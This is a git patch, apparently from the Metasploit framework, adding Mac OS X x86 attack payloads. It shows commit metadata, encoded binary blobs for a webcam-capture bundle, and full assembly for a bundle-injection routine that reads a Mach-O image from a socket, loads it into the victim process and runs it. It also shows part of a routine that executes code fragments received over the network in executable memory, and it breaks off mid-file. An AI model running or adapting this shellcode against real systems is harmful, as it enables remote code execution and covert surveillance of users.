From 13706d1bdef14a60fa41972b279c687c4aa65550 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 18 Mar 2009 23:28:24 +0000 Subject: [PATCH] Tons of new Mac OS X code from Dino Dai Zovi and Charlie Miller, more to follow git-svn-id: file:///home/svn/framework3/trunk@6353 4d416f70-5f16-0410-b530-b9f4589650da --- data/isight.bundle | Bin 0 -> 29548 bytes external/source/osx/README | 4 + external/source/osx/isight.tar.gz | Bin 0 -> 5402 bytes external/source/osx/x86/Makefile | 12 + .../source/osx/x86/include/_dup2_std_fds.s | 15 + .../source/osx/x86/include/_execve_binsh.s | 12 + external/source/osx/x86/include/_exit.s | 7 + .../source/osx/x86/include/_inject_bundle.s | 296 ++++++++++++++++++ external/source/osx/x86/include/_read_exec.s | 61 ++++ external/source/osx/x86/include/_shell.s | 53 ++++ .../source/osx/x86/include/_tcp_connect.s | 32 ++ external/source/osx/x86/include/_tcp_listen.s | 52 +++ .../x86/src/single_bundleinject_bind_tcp.s | 6 + .../x86/src/single_bundleinject_reverse_tcp.s | 6 + .../osx/x86/src/single_shell_bind_tcp.s | 9 + .../osx/x86/src/single_shell_reverse_tcp.s | 9 + .../source/osx/x86/src/stage_bundleinject.s | 3 + external/source/osx/x86/src/stage_shell.s | 8 + external/source/osx/x86/src/stager_bind_tcp.s | 18 ++ .../source/osx/x86/src/stager_reverse_tcp.s | 18 ++ external/source/osx/x86/src/test/Makefile | 5 + external/source/osx/x86/src/test/run_tests.sh | 138 ++++++++ external/source/osx/x86/src/test/server.c | 136 ++++++++ .../source/osx/x86/src/test/test_component.c | 76 +++++ .../osx/x86/src/test/write_size_and_data.rb | 9 + lib/msf/core/payload/osx/bundleinject.rb | 100 ++++++ modules/exploits/osx/mdns/upnp_location.rb | 200 ++++++++++++ .../osx/rtsp/quicktime_rtsp_content_type.rb | 157 ++++++++++ .../singles/osx/x86/vforkshell_bind_tcp.rb | 64 ++++ .../singles/osx/x86/vforkshell_reverse_tcp.rb | 63 ++++ modules/payloads/stagers/osx/x86/bind_tcp.rb | 59 ++++ .../payloads/stagers/osx/x86/reverse_tcp.rb | 61 ++++ .../payloads/stages/osx/x86/bundleinject.rb | 26 ++ modules/payloads/stages/osx/x86/isight.rb | 90 ++++++ modules/payloads/stages/osx/x86/vforkshell.rb | 48 +++ 35 files changed, 1853 insertions(+) create mode 100644 data/isight.bundle create mode 100644 external/source/osx/README create mode 100644 external/source/osx/isight.tar.gz create mode 100644 external/source/osx/x86/Makefile create mode 100644 external/source/osx/x86/include/_dup2_std_fds.s create mode 100644 external/source/osx/x86/include/_execve_binsh.s create mode 100644 external/source/osx/x86/include/_exit.s create mode 100644 external/source/osx/x86/include/_inject_bundle.s create mode 100644 external/source/osx/x86/include/_read_exec.s create mode 100644 external/source/osx/x86/include/_shell.s create mode 100644 external/source/osx/x86/include/_tcp_connect.s create mode 100644 external/source/osx/x86/include/_tcp_listen.s create mode 100644 external/source/osx/x86/src/single_bundleinject_bind_tcp.s create mode 100644 external/source/osx/x86/src/single_bundleinject_reverse_tcp.s create mode 100644 external/source/osx/x86/src/single_shell_bind_tcp.s create mode 100644 external/source/osx/x86/src/single_shell_reverse_tcp.s create mode 100644 external/source/osx/x86/src/stage_bundleinject.s create mode 100644 external/source/osx/x86/src/stage_shell.s create mode 100644 external/source/osx/x86/src/stager_bind_tcp.s create mode 100644 external/source/osx/x86/src/stager_reverse_tcp.s create mode 100644 external/source/osx/x86/src/test/Makefile create mode 100644 external/source/osx/x86/src/test/run_tests.sh create mode 100644 external/source/osx/x86/src/test/server.c create mode 100644 external/source/osx/x86/src/test/test_component.c create mode 100644 external/source/osx/x86/src/test/write_size_and_data.rb create mode 100644 lib/msf/core/payload/osx/bundleinject.rb create mode 100644 modules/exploits/osx/mdns/upnp_location.rb create mode 100644 modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb create mode 100644 modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb create mode 100644 modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb create mode 100644 modules/payloads/stagers/osx/x86/bind_tcp.rb create mode 100644 modules/payloads/stagers/osx/x86/reverse_tcp.rb create mode 100644 modules/payloads/stages/osx/x86/bundleinject.rb create mode 100644 modules/payloads/stages/osx/x86/isight.rb create mode 100644 modules/payloads/stages/osx/x86/vforkshell.rb diff --git a/data/isight.bundle b/data/isight.bundle new file mode 100644 index 0000000000000000000000000000000000000000..551fcd4079f620b71da0d342ecf23a91e5dd9cb0 GIT binary patch literal 29548 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 + +These payloads are from "The Mac Hacker's Handbook" by Charlie Miller +and Dino Dai Zovi (Wiley 2009). diff --git a/external/source/osx/isight.tar.gz b/external/source/osx/isight.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..4ebb4c559fd8bc608590f75bc6c03eca16434401 GIT binary patch literal 5402 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 13) | (hash << 19)) + c) & 0xFFFFFFFF) + %assign i i + 1 + %endrep +%endmacro + +;;; -------------------------------------------------------------------- +;;; dyld_resolve(uint32_t hash) +;;; +;;; Lookup the address of an exported symbol within dyld by "ror13" hash. +;;; +;;; Arguments: +;;; hash - 32-bit "ror13" hash of symbol name +;;; -------------------------------------------------------------------- +_dyld_resolve: + mov eax, [esp+4] + push eax + push 0x8fe00000 + call _macho_resolve + ret 4 + +;;; -------------------------------------------------------------------- +;;; macho_resolve(void* base, uint32_t hash) +;;; +;;; Lookup the address of an exported symbol within the given Mach-O +;;; image by "ror13" hash value. +;;; +;;; Arguments: +;;; base - base address of Mach-O image +;;; hash - 32-bit "ror13" hash of symbol name +;;; -------------------------------------------------------------------- +_macho_resolve: + push ebp + mov ebp, esp + sub esp, byte 12 + push ebx + push esi + push edi + + mov ebx, [ebp+8] ; mach-o image base address + mov eax, [ebx+16] ; mach_header->ncmds + mov [ebp-4], eax ; ncmds + + add bl, 28 ; Advance ebx to first load command +.loadcmd: + ;; Load command loop + xor eax, eax + cmp dword [ebp-4], eax + je .return + + inc eax + cmp [ebx], eax + je .segment + inc eax + cmp [ebx], eax + je .symtab +.next_loadcmd: + ;; Advance to the next load command + dec dword [ebp-4] + add ebx, [ebx+4] + jmp .loadcmd + +.segment: + ;; Look for "__TEXT" segment + cmp [ebx+10], dword 'TEXT' + je .text + ;; Look for "__LINKEDIT" segment + cmp [ebx+10], dword 'LINK' + je .linkedit + + jmp .next_loadcmd +.text: + mov eax, [ebx+24] + mov [ebp-8], eax ; save image preferred load address + jmp .next_loadcmd +.linkedit: + ;; We have found the __LINKEDIT segment + mov eax, [ebx+24] ; segcmd->vmaddr + sub eax, [ebp-8] ; image preferred load address + add eax, [ebp+8] ; actual image load address + sub eax, [ebx+32] ; segcmd->fileoff + mov [ebp-12], eax ; save linkedit segment base + + jmp .next_loadcmd + +.symtab: + ;; Examine LC_SYMTAB load command + mov ecx, [ebx+12] ; ecx = symtab->nsyms +.symbol: + xor eax, eax + cmp ecx, eax + je .return + dec ecx + + imul edx, ecx, byte 12 ; edx = index into symbol table + add edx, [ebx+8] ; edx += symtab->symoff + add edx, [ebp-12] ; adjust symoff relative to linkedit + + mov esi, [edx] ; esi = index into string table + add esi, [ebx+16] ; esi += symtab->stroff + add esi, [ebp-12] ; adjust stroff relative to linkedit + + ;; hash = (hash >> 13) | ((hash & 0x1fff) << 19) + c + xor edi, edi + cld +.hash: + xor eax, eax + lodsb + cmp al, ah + je .compare + ror edi, 13 + add edi, eax + jmp .hash + +.compare: + cmp edi, [ebp+12] + jne .symbol + + mov eax, [edx+8] ; return symbols[ecx].n_value + sub eax, [ebp-8] ; adjust to actual load address + add eax, [ebp+8] +.return: + pop edi + pop esi + pop ebx + leave + ret 8 + +;;; -------------------------------------------------------------------- +;;; inject_bundle(int filedes) +;;; +;;; Read a Mach-O bundle from the given file descriptor, load and link +;;; it into the currently running process. +;;; +;;; Arguments: +;;; filedes (edi) - file descriptor to read() bundle from +;;; -------------------------------------------------------------------- +_inject_bundle: + push ebp + mov ebp, esp + sub esp, byte 12 + + mov esi, edi ; arg0: filedes + +.read_size: + ;; Read a 4-byte size of bundle to read + xor eax, eax + mov al, 4 + push eax ; nbyte + lea edi, [ebp-4] + push edi ; buf + push esi ; s + push eax + dec eax + int 0x80 + jb .read_error + cmp eax, ecx ; A zero-read signals termination + je .read_error + mov ecx, [ebp-4] + xor eax, eax + cmp ecx, eax + je .read_error ; A zero value signals termination + + jmp .mmap +.read_error: + jmp .error + +.mmap: + ;; mmap memory + xor eax, eax + push eax + push -1 + push (MAP_ANON | MAP_PRIVATE) + push (PROT_READ | PROT_WRITE) + push ecx ; size + push eax + push eax ; spacer + mov al, 197 + int 0x80 + jb .error + mov edi, eax ; memory buffer + mov [ebp-8], edi + + ;; read bundle from file descriptor into mmap'd buffer +.read_bundle: + xor eax, eax + push ecx ; nbyte + push edi ; buf + push esi ; filedes + push eax ; spacer + mov al, 3 + int 0x80 + jb .error + add edi, eax + sub ecx, eax + jnz .read_bundle + + mov edi, [ebp-8] ; load original memory buffer + + ;; Now that we are calling library methods, we need to make sure + ;; that esp is 16-byte aligned at the the point of the call + ;; instruction. So we align the stack here and then just be + ;; careful to keep it aligned as we call library functions. + + sub esp, byte 16 + and esp, 0xfffffff0 + + ;; load bundle from mmap'd buffer + push byte 0 ; maintain alignment + lea eax, [ebp-8] + push eax ; &objectFileImage + push dword [ebp+12] ; size + push edi ; addr + ror13_hash "_NSCreateObjectFileImageFromMemory" + push dword hash + call _dyld_resolve + call eax + cmp al, 1 + jne .error + + ;; link bundle from object file image + xor eax, eax + push eax + mov al, (NSLINKMODULE_OPTION_RETURN_ON_ERROR | NSLINKMODULE_OPTION_BINDNOW) + push eax + push esp ; "" + push dword [ebp-8] + ror13_hash "_NSLinkModule" + push dword hash + call _dyld_resolve + call eax + + ;; run_symbol = NSLookupSymbolInModule(module, "_run") + mov ebx, eax + xor eax, eax + push eax ; "\0\0\0\0" + push 0x6e75725f ; "_run" + mov eax, esp + push eax ; sym + push ebx ; module + + ror13_hash "_NSLookupSymbolInModule" + push dword hash + call _dyld_resolve + call eax + + ;; NSAddressOfSymbol(run_symbol) + sub esp, 12 ; maintain alignment + push eax + ror13_hash "_NSAddressOfSymbol" + push dword hash + call _dyld_resolve + call eax + + ;; _run(socket) + sub esp, 12 ; maintain alignment + push esi + call eax + +.error: + ;; Exit cleanly + xor eax, eax + push eax ; EXIT_SUCCESS + push eax ; spacer + mov al, 1 + int 0x80 diff --git a/external/source/osx/x86/include/_read_exec.s b/external/source/osx/x86/include/_read_exec.s new file mode 100644 index 0000000000..9185d43927 --- /dev/null +++ b/external/source/osx/x86/include/_read_exec.s @@ -0,0 +1,61 @@ +_read_exec: + ;; Save some stack space + mov ebp, esp + sub esp, byte 8 + +.loop: + xor ecx, ecx ; clear ecx + mul ecx ; clear eax and edx + + ;; Read a 4-byte size of code fragment to execute + push ecx + mov esi, esp + mov al, 4 + push eax ; nbyte + push esi ; buf + push edi ; s + push eax + dec eax + int 0x80 + jb end + mov esi, [esp+16] ; code buffer length + + ;; mmap memory + xor eax, eax + push eax ; alignment spacer + push eax ; 0 + dec eax + push eax ; -1 + inc eax + mov ax, 0x1002 + push eax ; (MAP_ANON | MAP_PRIVATE) + xor eax, eax + mov al, 7 + push eax ; (PROT_READ | PROT_WRITE | PROT_EXEC) + push esi ; len + push edx ; addr + 